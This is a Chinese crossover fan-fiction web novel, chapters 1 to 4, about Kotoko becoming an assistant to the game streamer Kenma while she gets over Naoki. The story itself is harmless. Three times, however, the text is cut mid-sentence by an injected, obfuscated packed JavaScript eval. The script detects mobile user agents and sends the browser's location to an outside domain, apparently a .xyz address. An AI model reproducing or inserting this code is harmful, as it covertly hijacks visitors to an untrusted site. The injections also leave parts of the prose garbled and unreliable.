《琴子也会和研磨陷入爱河吗》 1. 第1章 主播 宽大的木质色书房，满墙壁排布着的游戏卡带，摆放了两台屏幕的主桌以及一台笔记本的侧桌，以及角落处堆积的各式设备。 房间内很安静，如果只听声音发现不了两张书桌面前坐着两位年纪相仿的少男少女，有的只是两人微乎其微的呼吸声以及电子机械运作发出的嗡嗡声。 坐在侧边书桌前，扎着麻花辫盘发的相原琴子深深叹了一口气，再一次拖动鼠标防止马上又要因为长时间没有人操作的电脑息屏。 她无力地趴在书桌上，额头埋进肘弯摩挲了几下，直到整齐的刘海被蹭得乱成一团。 好无聊，好尴尬。 虽说她是因为今天是第一次上岗特意早到了二十分钟左右，但这都已经到他们约定的时间了吧，怎么作为中介人的小黑前辈还没有到？ 她是真的不知道该怎么和眼前这位不熟悉的主播前辈相处啊。 这位前辈在把她迎进门之后除了刚开始简短的寒暄后再也没说过话，就这么默默地做自己的事情，也不给她布置任何任务。 虽然极大概率她可能也不会做，但总比现在盯着这台陌生的电脑直愣愣地发呆好呀。 因为实在没有事情做，相原琴子在神游之中忍不住偷偷抬头看了一眼书房主位坐着的那位少年。 这是他们两人的初见面。 少年身着黑色的宽松卫衣，上面印着一个大大字母B。偏长的黑色发丝被随意地扎在脑后，从背后偶尔散落的几缕能看到发梢处些许金色。 是之前染发留下的痕迹吗？ 她猜测着，明明看上去不像是会太在意外观的人呢。 虽然眼前的少年留着长发，五官也很秀气，但眉骨的锋利以及那双锐利的金色猫瞳难以柔化他的气场，精致却又不至于雌雄难辨。 此刻，他金色眼眸正紧紧地盯着电脑，细长的手指时不时在键盘上飞舞，满脸写着认真。 冷淡，认真，头脑好。 总感觉，和入江君的样子有点…… 一想起那个人，相原琴子原本平静的心脏就开始失控，密密麻麻的钝痛缠绕在她的胸腔，有股顿顿的难受感。 不行不行，怎么又想起他了，不是和自己约定好要忘记他的吗？ 明明不是偷听到他亲口承认自己在他心中并不重要吗？ 而且这次不一样，他已经有未婚妻了，就算自己再怎么钦慕对方也不能做出失德的事情。 相原琴子甩了甩头，又抬起双手拍了拍两下自己的脸蛋，试图将那个身影从自己的脑海中驱逐出去。 而且再怎么说，这样的想法对主播前辈也太过分了，明明他们就是不一样的个体，有特别多不一样的地方！ 比如说头发的长度，眼眸的颜色，还有…… 为了更多地找出两人身上的不同，一不留神相原琴子就这么坐在椅子上看了对方很久，从刚开始三两下的偷瞄到最后直接正大光明地盯着看。 蓦地，一道清冷的声线在空旷的房间响起。 “我脸上有东西吗？” 这道的声线瞬间拉回了相原琴子飘散的注意力，看着眼前正望着她，面露不解的主播前辈，她黑色的眼睛飞快地眨了眨。 意识到了自己的失礼，她白皙的脸上一下子染上红晕，嘴巴里发出嗡嗡声，“不好意思……” 心里无声呐喊。 啊啊啊，她在干什么啊，这么盯着初见面的人太没有礼貌了吧，更何况还是对着即将上任的上司。 主播前辈不会马上就要和小黑前辈说她是个喜欢盯着人看的变态，要把她开除了吧。 不要啊，她才刚和入江阿姨说过自己找到了合适的兼职，难不成才第一天就要灰溜溜地被赶回家了吗？ 心中原本淡淡地沮丧和忧伤被这忽如其来尴尬感打断，越思考相原琴子越觉得自己前途一片渺茫，头也越埋越低。 孤爪研磨歪着脑袋，看着那位好像是因为不好意思而缩成一团的少女，开始反思是不是自己忽然开口吓到她了。 但是实在是她的过于露骨的视线让他无法集中注意力，更何况他本身就是一个对他人视线非常敏感的人，这才忍不住开口提醒。 不过就目前的情况来看，好像起了反效果…… 想起小黑高中时候对他要主动和人交友的交代，他抿了抿嘴巴，犹豫了一下，还是开口缓和道：“小黑的话还有几分钟就到了。” 因为很少用这种柔和的语气说话，声音卡在他喉咙里打了个转才慢慢吐出，他有些不适应地移开目光。 闻言，相原琴子愣愣地抬起头，轻轻嗯了一声作为回应，她实在是有些没有反应过来。 虽然外表冷淡，但对方并没有如她想象中要问责她的意思，相反在看出她的无措后还来安慰了她。 主播前辈是个好人，她默默评价道。 房间的气氛没有因为方才的三两句话而缓和而是愈发沉静下去。 无言间，相原琴子再一次悄悄抬眸，只见那位长发主播在说完话后又将视线拉回面前的屏幕上，继续处理着没有完成的工作。 她耷拉下眼皮，默默地盯着面前的屏幕，犹豫片刻后便决心不再无所事事。 拖动鼠标，从电脑的网页上打开了昨天得知的对方名为「世界的KODZUKEN」的账号，点开昨天没看完的视频静音播放着。 在从小黑前辈那边了解到这位新上司的ID后她就时不时会去翻看上面发布的视频，大部分都是与游戏相关的，有时候是精彩剪辑，有时候是通关攻略，甚至还有排球信息的分享。 但是，却鲜少有账号主人的日常近况。 就这么无声地刷着视频，在又过了10分钟之后，某位迟到的罪魁祸首才姗姗来迟。 留着鸡冠头发型，穿着白色卫衣以及黑色工装裤的黑发少年轻车熟路地推开了书房的门，语气轻快，一点看不出迟到者该有的愧疚。 “呀吼，研磨，琴子，下午好呀。” 但屋内的两人丝毫没有要谴责他的意思，反而因为这位能够缓和气氛的人终于到场原本坐得挺直的背脊垮了下去，后腰陷进靠垫的闷响里，混着同步漏出的叹息。 在没有人说话的间隙中，同步叹息的声音异常的明显，两人僵直身子对视了一眼，又同时挪开了目光。 好，好尴尬啊。 以上是虽然没有高中的时候严重但依旧有些社恐的孤爪研磨，以及刚刚偷看被抓包的相原琴子两人同一时间冒出的想法。 黑尾铁朗咕噜着眼睛，在两人身上打转，嘴角扬起一抹笑容，“是发生了什么事情吗？” 相原琴子连忙摆了摆手，“什么都没有发生啦，倒是小黑前辈怎么来的这么晚。” “因为堵车了……”黑尾铁朗挥了挥手，一副不想再提的样子，面上写满了对于晚高峰的恐惧。 他跨进屋门，往相原琴子所在的方向走去，接着弯下腰，凑过身去看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171742|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼她面前亮着的屏幕，哼笑道：“琴子在看研磨之前的视频啊。” 孤爪研磨身形微动。 “嗯。因为刚刚不知道做什么就想着翻出来看看。”相原琴子干干地回道，不好意思地将面前的网页关掉。 “琴子做得很好哦。” 黑尾铁朗笑眯眯道，本想顺势揉一揉少女的头发，但刚一伸出手就被对方那头复杂的盘发给劝退了。于是他将伸出去的手转向面前的那台电脑，挪到自己的面前。 他还记得今天的重要任务是完成和琴子之间助理工作的交接，虽然工作内容不算复杂，但细节琐碎繁多，还是需要几人集中起来好好梳理一下的。 “那接下来就到了工作的教学环节了，研磨。” “来了……” 和黑尾铁朗中气十足的声音相比，孤爪研磨显得又些恹恹的，他在保存完后台的视频后，拖着椅子慢慢挪了过去。 但事实上，从高中开始就担任部长，极其擅长揣摩人意以及社交的黑尾铁朗一个人就能将所有的注意事项娓娓道来。 孤爪研磨默默地打了个哈欠，看着面前的两人一个正努力输出，一个正努力接收，心中腹诽着这不是完全没有他在场的必要吗。 嘴上时不时附和着小黑偶尔象征性抛出的提问，孤爪研磨目光不自觉地放到黑发少女那头复杂的盘发上，眼皮越来越沉。 起初他还强撑着眨了两下，试图驱散那股汹涌的倦意，但很快他的意识便模糊了起来，呼吸也愈发绵长。 另一边，在黑尾铁朗持续不断的讲解中，相原琴子的眼睛已经晕成了蚊香状，她捂住自己的脑袋使劲敲了敲，试图不让脑海中新接收到的知识马上溜走。 不幸的是，脑海中的知识就像握不住的流沙，她越想努力抓住，忘记得也就越快。 最后的最后，她忍不住瘫倒在桌子上，吐出一口悠长的叹气。 少女与童年时如出一辙的举动让黑尾铁朗忍不住闷声偷笑。 嗯，这孩子还是一如既往的不太擅长学习新东西，但也无伤大雅。 “这些都是最基础的操作，更细节一些的东西我会写下来发给你的。还有接下来的一周我还是会按时过来的，等到你足够熟练了再……” 还没等他说完，一阵均匀的呼吸声打断了他不断的絮叨。 他与相原琴子对视了一眼，不约而同转头看向一旁不知何时靠着座椅陷入梦乡的长发少年。 相原琴子疑惑：“是睡着了吗？” 得救了！ 她内心无声呐喊。 黑尾铁朗肯定：“嗯，是睡着了。” 这家伙估计是又熬夜了…… 他无奈地耸了耸肩膀，“既然如此，今天就到这边吧。”接着起身，翻出书房中的毛毯盖在孤爪研磨的身上。 “我来送琴子回家。” 相原琴子随之默默起身，憨笑着拒绝，“不麻烦小黑前辈了，毕竟就几步路的距离……” 倒也不是她客套，而是事实正如她所说的那样。 没错，她所寄住入江家和主播前辈所租下的别墅正是在同一个高档小区，也正因如此前几天她才能偶遇到数年不见的小黑前辈。 黑尾铁朗笑着摇了摇头，眼神真挚，“我送你吧，我还有别的话想对琴子说。” 他顿了顿，又补充道，“是不能在研磨面前说的话。” 诶？？ 相原琴子瞪大了眼睛。 2. 第2章 独处 初夏的天气不算太热，刺目的阳光也被道旁的浓荫滤去了大半，投下斑驳的光影在地面摇晃，令人心情舒畅。 在婉拒了理美和纯子以及最近对自己的过分热情的阿金的邀约后，相原琴子在完成今日的学业后踱步往入江宅方向走去。 回想起昨日和小黑前辈独处时对方对自己的百般嘱托，相原琴子愈发觉得自己肩负重责。 嗯，其实也就是督促前辈按时吃饭之类的，不过小黑前辈当时愁容满面的样子让她不免担忧主播前辈的身体是否出了大问题。 但不管怎么样，身为新任助理，她琴子一定会好好完成前任小黑前辈交代给自己的任务，利用邻里之便时不时去核查主播前辈的身体状况的！ 满怀雄心壮志，相原琴子双手握拳，做了个庆祝的手势。 “哟西！今天也要加油哦！” 无视路人投来的奇怪表情，她尴尬地将手放下，假装理了理头发。 但首先还是先换套衣服再出门吧，今天穿什么好呢…… 这样纠结着，她推开了入江家门。 只一眼，客厅站着的少年便直直撞进她的眼中。 他半倚在嵌着浅棕色的大理石料理台边，黑色的西服外套半搭在手臂上，白衬衫的袖子随意卷到小臂，露出手腕利落的线条，此刻正垂手拿着只玻璃杯。 听见屋门打开的嘎叽声，入江直树并没有回头，只是随意扯了扯眼皮瞥了她一眼，漫不经心地看着手中的玻璃杯。 新工作带来的那点未知的兴奋感瞬时荡然无存，相原琴子的心头又涌上了这些天独处时习惯的胸闷感。 胸口像是被一双无形的手攥住，让她喘不过气来。 “今天回来的好早呢……” 她瘪了瘪嘴巴，勉强地牵扯出一抹笑容，装作若无其事地踏入玄关，同他寒暄着。 “回来拿份文件，早上出门太着急了，忘记带了。” 入江直树没什么表情，敲了敲一旁摆放着的文件袋，微眯着眼睛，不紧不慢地回答着。 “是这样啊……” 相原琴子微微颔首，作了然状。 她下意识地想要同以往一样与面前的少年多说几句话，但在想要开口的瞬间，那天晚上对方冷漠的话语以及无所谓的表情再一次清晰地浮现在她脑海中。 齿贝摩挲着嘴唇，她怎么也吐不出更多的话语。 侧过身子，垂下的头发挡住了她的表情，只隐隐露出紧抿的唇角。 “那我先上楼了。” 没有再深入的交流，她擦身而过，匆匆上楼。 被留下的少年同样没有再吱声，直到噔噔的脚步声消失在楼梯口，他才放下一直拿在手上，水量却丝毫不减的玻璃杯。 驻足片刻，他抓起桌上的文件袋提步往门口走去。 在即将出门的时候，他还是忍不住扭头看了一眼。 轻声道：“我出门了。” * 换了一件简单的白色短袖，黑色背带长裤宽宽的背带斜斜垮在肩头，半长的黑色头发扎成鱼骨辫垂在右肩。 相原琴子对着手机整理一下自己的着装。 确认妥当。 随后按下门铃。 她挺直了腰板，抿了抿嘴巴，试图挤出一抹笑容以最饱满的精神状态面对新上任的boss。 但由于刚才调整时用力过猛，她脸上的肌肉有点僵硬， 等到孤爪研磨拉开门时，看到就是她挤眉弄眼，一脸奇怪的表情。 …… “前辈？我没记错的话今天是有直播的吧？” 见前来开门的前辈半天没有出声，相原琴子脸上那副刻意维持的笑容淡了下来，声音里不自觉带上点不确定的试探。 一周五天，休息周一和周二，她没记错呀。 孤爪研磨这才将目光从相原琴子的脸上移开，侧身让出位置，声音还带着点没睡醒似的含糊，“嗯，只是没想到会来得这么早呢。” 他往屋里退了半步，抬手随意指了指玄关的方向，引她进来。 像是忽然想起了些什么，他又回头道，“密码是212121，下次直接开门进来就好。” “嗯，好的。” 好草率的密码…… 不过就这么直接告诉她真的好吗？ 相原琴子在换鞋时偷偷抬眼瞥了瞥主播前辈的背影，腹诽着。 还没等她在昨天的位置坐下，一瓶玻璃包装的矿泉水就被少年摆在了她的面前。 他依旧一副面无表情的样子，匆匆回到自己的位置上，继续着刚刚因为门铃声被打断的工作。 见眼前少年全身散发着“别来打扰我”的气息，相原琴子一时间也不好意思出声，她试图联系远在天边的黑尾铁朗给自己找点工作，却迟迟收不到返信。 无聊中她再一次垂下脑袋，满脸写着绝望。 她不会又要在这边干坐到小黑前辈来吧。 早知道就不来这么早了…… 书房的主位上，半扎着头发的少年正拖动着鼠标，将前几天录下来的MOBA游戏视频中所有有击杀场面的内容进行截取排版。 工作说不上复杂，但是格外耗时耗力。 好不容易完成最后的剪辑工作，孤爪研磨松开鼠标，捏了捏发胀的眉心，抬头。 另一张桌子前，黑发少女正一只手支着下巴，另一只手绕着肩头的鱼骨辫玩。指尖挑着辫尾的黑发绳转圈，偶尔扯松一两缕碎发。 看上去无聊到了极致。 孤爪研磨盯着看了两秒，后知后觉地移开目光，伸手拿起桌上的瓶装水喝了一口。 今天换了新的复杂发型呢。 “那个……” “嗯？” 忽然的出声让相原琴子浑身一僵，她直起因为长时间维持侧坐姿势而有些发麻的身子，慌忙把绕在指尖的辫梢松开，后背挺得笔直，装出一脸认真的乖乖模样。 莫非是前辈终于要给她发布任务了？ 她内心有些莫名的激动。 一阵沉默。 孤爪研磨垂着眼，指尖在书桌上轻点着，眉峰微蹙，一副欲言又止的样子。 怎么回事？又忽然不说话了。 莫非是…… 相原琴子觉得自己悟到了。 “我名字是相原琴子，前辈。” 孤爪研磨一时间不知道该做什么表情。 他当然知道她的名字，早就小黑第一次提起她的时候就记住了，更别说第一次见面的时候两人正式的做过一次自我介绍。 心里默默吐槽着，嘴上却莫名其妙地接了一句：“我叫孤爪研磨。” “嗯嗯。” 果然是因为前辈不知道她的名字才不好跟她搭话，她真是个会看眼色的天才。 她使劲点头，辫子在肩头晃出轻快的弧度，还上道地加了一句：“孤爪前辈。” 随后又是一阵沉默。 孤爪研磨有些无奈，刚想说些什么，但一不小心就与对方那双亮晶晶的大眼睛对视了一眼，他匆匆移开视线。 “小黑一般都来得比较晚，所以也不会干直播之外的工作。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171743|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯嗯，原来如此。 难怪今天前辈看到她的时候会讶异她来的太早。 不对啊。 那她岂不是得再做干坐四个小时等到八点才有事情可做吗？ 相原琴子顿觉晴天霹雳，瘫倒在椅子上。 那现在怎么办？要不先回入江宅一趟？等时间差不多了再过来…… 正纠结着，下一秒那道清冷的声线再度在她耳畔响起。 “如果你不介意的话，可以麻烦你帮我校对一下新剪辑视频的字幕吗？当然我会付对应的工资的……” 有事情可以做了！而且还有多的工资！ 她当然不介意！ 相原琴子眼睛一亮，刚要应声，嘴角的弧度却倏地僵住。 坏消息是，她没干过类似的活。 但还没等她纠结完要不要应下这份工作，桌面上已经弹出来了被对方隔空投送过来的文件，完全没给她退路。 她动作僵硬地拖动鼠标打开了文件。 事到如此，好像也不能拒绝了，那就只好做了，说不定她能意外地做得不错呢。 她心态很好地自我安慰。 但下一秒，一个内容相当完整的剪辑软件操作技术文档也被传送了过来。 “翻到第79页，里面有关于字幕设置的内容，有问题的话可以再问我。” “是！” 得救了！ 她还以为得自己一步一步上网学呢。 相原琴子立刻应声，翻到主播前辈所提到的页面认真研读，看完之后心中的忐忑感也消失了大半。 感受就是比数学题简单太多了。 没太久，她就能动作生疏地拖动时间轴开始校对了，只有偶尔遇上不太懂的游戏名词时，她才会向孤爪研磨进行请教，接着又立刻缩回原位，继续琢磨。 直到把最后一段字幕的时间轴校准，相原琴子才长舒一口气，猛地抬头看向书桌前的人，“前辈，我干完了！” 过分元气的嗓音让孤爪研磨有些不太适应，他揉了揉耳朵，轻轻应了一声，随后开始拖动进度条快速检查被她重新传回的视频。 没有错别字，标点都补全了，就连他自己都没注意到的一处口误也被修正过来了。 虽然花了不少时间，但完成得比他预想中还要出色。 确认无误，他点击上传到油管账号。 刚想对琴子说些什么，一抬头他就撞进一双亮晶晶的黑色眼眸。 黑发少女正双手支着下巴看他，满脸期待地看着他。 他顿了顿，别开脸，“做得不错。” 相原琴子眼睛瞬间更亮了，嘴角也弯得厉害：“嘿嘿，谢谢前辈！” 她在校对上花费的时间不算太短，转眼间外面天已大黑。 孤爪研磨抓起手机，看了眼时间，随手戳了两下按键，开口问道：“肚子饿了吗？” 相原琴子眨巴眨眼睛，接话，“很饿……” 没想到一转眼都到了吃晚饭的时间了…… “那要和我还有小黑一起吃晚饭吗？” “是出去吗？” “不，找人送餐。” …… 不愧是走在互联网前端的男人！连吃饭都可以做到如此便利！ 她声音雀跃，点头道，“请务必算上我的份。” “有什么忌口吗？”他继续在手机屏幕上划了两下，随口问道。 话音刚落，他像是忽然想起什么，抬起指尖，侧过头看她，尾音轻轻带了点起伏。 “琴子？” 3. 第3章 拐角 直接被叫名字了！ 相原琴子心脏一跳，下意识捏了捏耳垂，怀疑自己是不是听错了，毕竟刚刚那声落得很轻。 也有可能孤爪前辈说了和她名字发音差不多的词，哈哈哈。 僵硬的讪笑很快消失在嘴角。 真是的，她的名字明明就很少有同音字。 所以说，刚刚难道是真的在叫她的名字吗？ 等等等等，这进展也有点太快了吧，这才是他们第二次见面！不是一般叫她相原才对吗？ 还是说其实前辈虽然外表冷酷，背地里其实是个playboy，对所有的女生都是直呼名字。 相原琴子慢慢沉浸在了自己的思绪中，各种稀奇古怪的念头争先恐后地冒出来。 莫非小黑前辈其实是主播前辈的僚机，每次都装作要让转让助理的职位来欺骗无知少女？！ 那一切都可以说得通了。 虽然前辈是很帅啦，但她…… “没有忌口吗？” 幻想忽然被突然打断，相原琴子猛然回神，眼神还有些发直：“是没太有啦……” “咖喱乌冬可以吃吗？” “可以。” “咖喱要浓的，还是稀的。” “浓厚口味。” “你刚刚在想什么？” “在想为什么前辈要直接喊我的名字，是不是想对我……” 在这种快问快答环节，相原琴子根本守不住秘密，就这么一股脑地说了出来。 直到最后一个字要蹦出来时，才猛地反应过来，双手 “啪” 地捂住自己的嘴巴，眼睛瞪得溜圆。 …… 好想找个地缝直接钻进去。 她真的只是随便猜猜，没有真的这么认为啊啊啊。 但好在被她评价为是好人的前辈并没有在意她的无礼。 “你刚刚特地强调了。”孤爪研磨收起手机，侧着脸没有直接看她。 所以他就顺势叫了她的名字。 对方的话语一如既往的简洁，不过相原琴子很快懂得了他的言下之意。 哈哈哈，她就知道。 主播前辈就不说了，小黑前辈怎么会是坏人呢。 不过前辈人还真是好呢，因为她强调了就叫她名字什么的。 等等，现在的重点是为什么前辈直接忽略了她的姓氏，难不成是因为琴子的读音比相原短？ 好像确实身边会叫她琴子的人比较多。 迟迟没有听到回音，孤爪研磨转过头，眼看她又在摇头晃脑，一脸纠结的模样，却也格外好懂。 “相原比较拗口，不可以这样称呼你吗？” 相原琴子抬头撞进他平静的视线里，脸颊 “腾” 地一下烧起来，连忙摆手。 “不！当然可以！只是没想到会这样被称呼啦，就是有点不习惯。啊，也不是不习惯就是感觉有点奇怪。也不对……” 她乱七八糟解释了一通，越说越觉得词不达意，越说越乱，甚至开始语无伦次。 说到一半忽然泄了气，她耷拉下肩膀，头埋得很低，“前辈想怎么称呼都可以啦。” 看样子是在自暴自弃。 孤爪研磨忽然觉得有点好笑，没点破，嘴角却几不可查地弯了一下。 “如果你愿意的话，也可以不用叫我前辈，直接称呼名字就可以了。” 相原琴子瞬间倒吸了一口凉气。 惊呼，“那怎么可以！” 要知道在这个国家，上下级关系可是格外的森严，别说孤爪研磨比她大了一岁，就算是光论两人现在这种老板与助理的关系，她也不能直接这样称呼。 也太失礼了！ 大气不喘地将心中的顾虑一股脑得全部倾吐出来，相原琴子大鞠了一躬。 对于她的大礼，无人响应。 没一会，她忍不住抬眸偷偷瞄了一眼。 对方眼帘半垂着，长发遮住了小半张脸，那双总是显得有些疏离的金色眼眸此刻掀起了一丝波澜，嘴角也微微抽搐了一下。 诶？ 她说的难道不对吗？ “琴子，你忘记了吗？我们是在做游戏直播。” 琴子点头， 她知道是在做游戏直播，刚刚不是还帮忙做了视频。 “我记得的，所以……” “一般我们在直播中交流，你要喊我的网名。” 好像是这样的，她还记得小黑前辈强调过这一点。 “你要是一直喊我原名，或者前辈，在直播里，可能有些煞风景……” 孤爪研磨尽可能说得委婉。 闻言，相原琴子一个后仰，恍然大悟。 太有道理了！ 如果是她正全身心沉浸在游戏的轻松氛围里时，忽然听到里面的助理一口一个前辈。 也太灾难了。 简直与三次元无异！ 然而悟到并不代表可以做到。 “我明白了！研磨……前辈？” “研磨。” “研磨……前辈。不行，我做不到直接喊前辈名字。”她抱头惆怅。 几次尝试下来，孤爪研磨也放弃了纠正，“平时的话随便你，但直播的时候别忘记喊爪爪（KODZUKEN）。” “我了解了！” “你了解什么啦？” 一个黑漆漆的身影从门口钻出， 相原琴子惊喜，“小黑前辈！” “在聊什么呢？” “在说直播的时候不能叫孤……研磨前辈的名字，要叫网名。” 黑尾铁朗微微挑眉，“上次不是提到过吗？” “刚刚在我们聊天的时候，忽然又重申了一下这一点的重要性。” “什么重要性？” “让观众们不会出戏的重要性。” 看着自顾自点头的少女，虽然黑尾铁朗不懂什么是‘不会出戏的重要性’，但也不妨碍他以老父亲的宠溺眼神看着对方。 “琴子说的很棒哦。” 孤爪研磨无语，“你是她妈妈吗？” …… 很快，一顿简便的晚餐结束，几人将墙角的打光灯运了过来，摆正，调整了一下话筒的位置，等待着八点直播的开始。 黑尾铁朗操作着相原琴子的电脑登上账号，提前将账号的ID修改为「琴子」。 先是正式发布了一条更换助理的通知，随后开始手把手进行教学。 因为前几天已经有对观众们做过事先声明，大家对于新助理的出现也都接受良好，纷纷表示欢迎。 “你需要做的就是帮他控一下评论，必要的时候带一下节奏。” 黑尾铁朗指着屏幕中明显是找茬的一条留言，“需要特地关注一下这些评论，一般来说也不用理会，但以免万一。” “如果是大粉来了的话，要欢迎一下。” “偶尔也可以与观众们互动一下，开开玩笑。” “或者大量观众发布同一条评论时，如果研磨没有注意到，可以提醒他回复一下。” “另外研磨那边喊你的话，就过去帮帮他，一般就是拿拿卡带，倒杯水之类的。” 相原琴子听得认真，看着黑尾铁朗如鱼得水地混入观众之中，不由心生敬佩。 “我的说话方式和小黑前辈不一样也没事吗？” “没关系，用琴子擅长的方式就好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171744|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说着黑尾铁朗让出电脑的操纵权，“要试试看吗？” “嗯！” 不过说是尝试，但其实大部分时候她还是在照着黑尾铁朗的指令行事，基本上他指哪她打哪。 直到接近尾声，她才勉勉强强摸到些许窍门。 “觉得难吗？” “刚开始有点……但后面觉得还可以。”相原琴子尴尬讪笑。 黑尾铁朗体贴地表示了解。 “嘛，主要是研磨的游戏技术很好，基本上不太会有失误，找茬的观众也会比较少，基本上不太需要你去控评啦。” “至于别的互动，慢慢来也没事……” 近乎三个小时的直播时长对于观众来说可谓是转眼即过，但对三位工作人员来说则是度秒如年。 长时间的伏案工作让相原琴子不由肩膀酸涩，就连脑袋也有点发胀，她晃了晃脑袋，跟着大家一起收拾完房间内大大小小的设备。 正当她打算先行一步告辞的时候，黑尾铁朗再度提出要将相原琴子送回家。 还没等她出声拒绝，对方就挤出一抹和善的笑意凑到主位的孤爪研磨身边，“研磨也一起。” “诶？我不要……好麻烦……”孤爪研磨语气恹恹，安详地钻进宽大的躺椅中一动不动。 这场直播已经把他的精力都吸干了。 说着就悠哉悠哉地闭上了眼睛。 懒洋洋的姿态让黑尾铁朗的脑袋上瞬间冒出一个大大的井字，青筋微炸，笑容愈发核善。 “你给我出门活动活动。” 这幅不容商量的语气让孤爪研磨知道小黑此刻已在发怒的边缘。 生气的小黑很可怕。不仅会絮絮叨叨个没完没了，甚至还会摇家长来谴责他的不良作息。 迫于形势，孤爪研磨只好睁开眼睛，起身乖乖跟上。 “琴子，以后请务必务必让研磨送你回去，如果他哪一天偷懒的话一定告诉我，到时候……” 黑尾铁朗本身就长了一张不良少年的脸蛋，此刻刻意做出的阴险表情更加剧了他身上的邪气，相原琴子一个哆嗦。 “是！” 完全说不出拒绝的话语。 她忍不住同情地瞥了一眼跟在两人身后，双目无神看起来已经灵魂出窍的研磨前辈。 但黑尾铁朗实在是属于非常善谈之辈，相原琴子一路上和他可谓聊得十分痛快。 到入江宅的距离不过几分钟的路程，不知不觉只要再拐个弯就到家了。 正当想开口让两人就送到这边时，她注意到了门口处停着的那辆黑色的商务车。 车门半开着，旁边站着两位年纪相仿的少男少女，不知男生说了句什么，女生忽然弯起眼睛笑了起来，抬手轻轻拍了下他的胳膊，动作自然又亲昵。 不管是从长相还是气质来说，都是那么的般配。 是入江君和和他未婚妻大泉纱穗子小姐。 相原琴子脚步一顿，心跳漏了一拍，她下意识地往后退了几步，噌噌退到拐角处。 看着满脸疑惑盯着她的两位前辈，她勉强勾起了嘴角，找了个蹩脚的借口。 “今天忽然好想吃巧克力，趁还没到家我去买一下……” 好在两人只是对视了一眼，并没有深究。 入江家门口，入江直树皱紧眉头，死死地盯着已经空无一人的拐角。 大泉纱穗子轻轻扯了扯他的衣角，顺着他的视线也朝拐角望去，好奇地打量着那个普通的墙角。 在她看来，没有什么值得特别注意的。 “怎么了，直树君？” “没什么。” 他收回视线，黑色的眼眸逐渐晦涩。 4. 第4章 闲谈 客厅一片漆黑，连窗外透进来的月光都被厚重的窗帘挡得严严实实。台所的水龙头没有关好，滴答滴答的水流声听得真切。 是阿姨没有走之前没有拧好吗？ 这样猜测着，相原琴子调整脚步往客厅的方向走去。 “怎么这么晚才回来？你刚刚去哪了？” 黑暗中忽然冒出的声音使得她浑身一抖，她这才注意到餐桌处坐着的某位少年，深色的西服几乎将他完全浸润在黑暗之中。 她看不清他脸上的表情，但从入江直树一连气势汹汹的两个问句就能判断出他此刻心情不佳。 全然不同于对待纱穗子小姐的温和绅士。 她忍不住心下一沉，因为撞见他和纱穗子小姐两人独处而略显糟糕的心情此刻更是降到了谷底，连呼吸都滞涩了几分。 脸上勉强还挂住的笑容此刻敛了下来，声音也失去了往日与少年相处时雀跃。 向前递了递手中的购物袋，沉声，“去买东西了……” 入江直树向前轻轻瞥了一眼，白色的塑料袋中装着的是一些小零食之类的，是她平时喜欢吃的东西。 确实只是去买东西了。 “你一个人？” “嗯……” 说不清为什么，相原琴子撒谎了。 这个回答却让入江直树很受用。 蹙起的眉梢松开，原本紧绷的身体也舒展开来，他慢慢长舒了一口气。 既然如此，刚刚无意间瞟到的她身边的那位黑发男子，应该是碰巧路过吧。 “还有别的事情吗？” 入江直树嘴巴微启，刚要再说些什么，却被她冷硬的开口堵了回去。 刚转晴的心情又阴了下来。 “没事，早点休息。”他的语气同样生冷，说着就先迈开步伐往楼梯口走去。 像是忽然想到了什么，他脚步微顿。 瞥头看了一眼她的背影，还是不由心软，留下一句，“以后这么晚就别出门了。” 但在相原琴子听来，这句声音不高还带着往日里的清冷的话语，有着说不出的漫不经心。 比起关心，更不如说像是警告。 半响后，脚步声消失，昏暗的客厅徒留琴子一人。 她的身影许久没动，细听着水龙头的滴答声在寂静里敲出细碎的空响。 良久之后，她才慢慢伸出手，将它拧紧。 * “研磨前辈，这部分的字幕也处理好了哦。” 相原琴子在核查两遍后，将打包完整的文件发送回去。 终于将手上的任务全部完成，她捏了捏酸涩的肩膀，端正身子做了一个拉伸的动作。 “嗯，我来检查一下。” 这些天来，她近乎是一有空就往孤爪研磨家里赶，她也说不清是因为自己真的热爱这份工作还是只是想找点事情填补内心的空洞。 但身处在这个简约的书房中，听着一边键盘以及鼠标的击打声，她就会莫名其妙地镇定下来。 不过奇怪的是每次不管她到的多早，主播前辈都好像已经在书桌前端坐很久了。 虽然心里默默吐槽过他是不是一台工作机器人，相原琴子对他还是很尊重敬佩的。 当然她也有收获。 近乎一个星期的相处与磨合，她自诩对手上这份工作已经算得上手到擒来了。 如果忽略期间在ins上发布的修改直播时间的公告时弄错了时间，使得那天直播间的观众少得可怜。 